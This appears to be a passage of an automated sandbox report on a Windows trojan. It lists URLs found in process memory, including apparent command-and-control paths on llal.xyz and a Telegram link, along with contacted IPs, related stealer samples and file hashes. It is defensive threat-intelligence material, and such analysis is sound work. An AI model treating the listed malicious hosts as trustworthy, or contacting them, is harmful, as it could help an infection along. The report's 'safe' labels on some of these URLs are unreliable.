http://store.steampowered.com/subscriber_agreement/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://recaptcha.net/recaptcha/;	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://store.steampowered.com/poin	OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199619938930/badges	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://store.steampowered.com/stats/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://medal.tv	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://store.steampowered.com/steam_refunds/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://steamcommunity.com/profiles/76561199619938930V	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://api.steampowerW	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199619938930O	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000336E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://steamcommunity.com/workshop/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://login.steampowered.com/	OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://store.steampowered.com/legal/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://recaptcha.net	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842db	OXoeX1Ii3x.exe, 00000000.00000002.2506187344.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2038063020.00000000033EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false		high
https://store.steampowered.com/	76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
http://127.0.0.1:27060	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://llal.xyz/ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d3	OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://help.steampowered.com/	OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steampowered.com/	OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/account/cookiepreferences/	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high
https://https://t.me/asdfghjrrewqqqqtfg/ujs/WorldHellostrwvfncexGostrbrCHbrGkunknownftpac/Up/gltype	OXoeX1Ii3x.exe	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/mobile	OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	llal.xyz	European Union		13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582973
Start date and time:	2025-01-01 09:11:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	OXoeX1Ii3x.exe renamed because original name is a hash value
Original Sample Name:	3e9881b9c6ff4994fc9d684456694e77.exe
Detection:	MAL
Classification:	mal84.troj.winEXE@2/6@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 9 Number of non-executed functions: 92
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 40.126.32.140, 4.175.87.197, 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
llal.xyz	0x001900000002ab40-59.exe	Get hash	malicious	Arc Stealer	Browse	188.114.97.3
steamcommunity.com	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.102.49.254
	gdi32.dll	Get hash	malicious	LummaC	Browse	23.55.153.106
	Loader.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	vj0Vxt8xM4.exe	Get hash	malicious	Unknown	Browse	104.20.99.10
	vj0Vxt8xM4.exe	Get hash	malicious	Unknown	Browse	104.20.99.10
	dropper.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	1.ps1	Get hash	malicious	Unknown	Browse	172.67.144.62
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	188.114.97.3
	setup.exe	Get hash	malicious	Unknown	Browse	104.21.30.45
	U1jaLbTw1f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	162.159.128.233
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
AKAMAI-ASUS	setup.exe	Get hash	malicious	Unknown	Browse	23.217.49.150
	decrypt.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	decrypt.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	FW_ Carr & Jeanne Biggerstaff has sent you an ecard.msg	Get hash	malicious	Unknown	Browse	104.102.34.241
	decrypt.ps1	Get hash	malicious	Unknown	Browse	184.28.90.27
	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.102.49.254
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	184.28.90.27
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	0000000000000000.exe	Get hash	malicious	Nitol	Browse	104.102.49.254 188.114.96.3
	0000000000000000.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 188.114.96.3
	1.ps1	Get hash	malicious	Unknown	Browse	104.102.49.254 188.114.96.3
	setup.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 188.114.96.3
	Let's_20Compress.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 188.114.96.3
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 188.114.96.3
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 188.114.96.3
	LinxOptimizer.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 188.114.96.3
	setup.msi	Get hash	malicious	Unknown	Browse	104.102.49.254 188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OXoeX1Ii3x.exe_ff6e839fbc87f846dac04b4093999c48a66e696_6a8cdeb1_f967174d-e0fb-4f62-a551-ef34d0073e2b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0180438971405563
Encrypted:	false
SSDEEP:	192:rtsB7d6uq0CH0MnjenvJzuiFAZ24IO8+H:RsH6uxCUMnjIzuiFAY4IO8+H
MD5:	42045DF8D3A2A47425FB7C4B17525312
SHA1:	62A8B96E74EA284C634405543C6CF93BB9B35619
SHA-256:	2AACDA55F39517AAE835DAA92FA2F1AC4FAD659159C430A7AD407D6171EE94CA
SHA-512:	B36E04D792185D0EAC4C97CF4870ADD847CB1D750013AA0A6C3302046A8C56147B4AE2252F303AD4EACCDCCCFEC978B3EF7375451F494782BE676893F80FA9FD
Malicious:	true
Reputation:	low
